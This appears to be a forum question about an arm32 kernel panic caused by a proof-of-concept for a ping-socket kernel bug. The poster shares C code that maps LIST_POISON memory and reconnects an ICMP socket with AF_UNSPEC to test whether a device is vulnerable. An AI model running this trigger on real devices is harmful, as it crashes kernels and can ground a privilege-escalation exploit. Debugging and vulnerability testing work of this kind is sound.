Unable to handle kernel paging request at virtual address 00200200

[yuwezyu]

In arm32, when the POC shows "Dnoe!", the kernel went to panic. And the dmesg showed that "Unable to handle kernel paging request at virtual address 00200200", the pid pointed to the main thread. But at the beginning of the POC, the address 0x200200 was mapped. How does this happened?

[yuwezyu]

I just write a poc simply, and found that if I close() the vulnerable sock, then it wouldn't crash, if not, it will go to crash.

[yuwezyu]

int ret; void * magic = mmap((void *) MMAP_BASE, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); if (magic == MAP_FAILED) { printf("Failed to malloc with value -3.\n"); return -3; } memset(magic, 0, MMAP_SIZE); *((long *)(LIST_POISON)) = 0xfefefefe; int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP); struct sockaddr_in sa; memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; connect(sock, (const struct sockaddr *) &sa, sizeof(sa)); sa.sin_family = AF_UNSPEC; connect(sock, (const struct sockaddr *) &sa, sizeof(sa)); connect(sock, (const struct sockaddr *) &sa, sizeof(sa)); **close(sock);//close or not** if (*((long *)(LIST_POISON)) != 0xfefefefe){ printf("Device is vulnerable.\n"); ret = -2; }else{ printf("Device is not vulnerable.\n"); ret = -1; } munmap(magic,MMAP_SIZE); return ret;

[yuwezyu]

I just write a poc simply, and found that if I close() the vulnerable sock, then it wouldn't crash, if not, it will go to crash.

If there is no close(sock), when I set sa.sin_family to AF_UNSPEC, the first time to connect will lead to crash.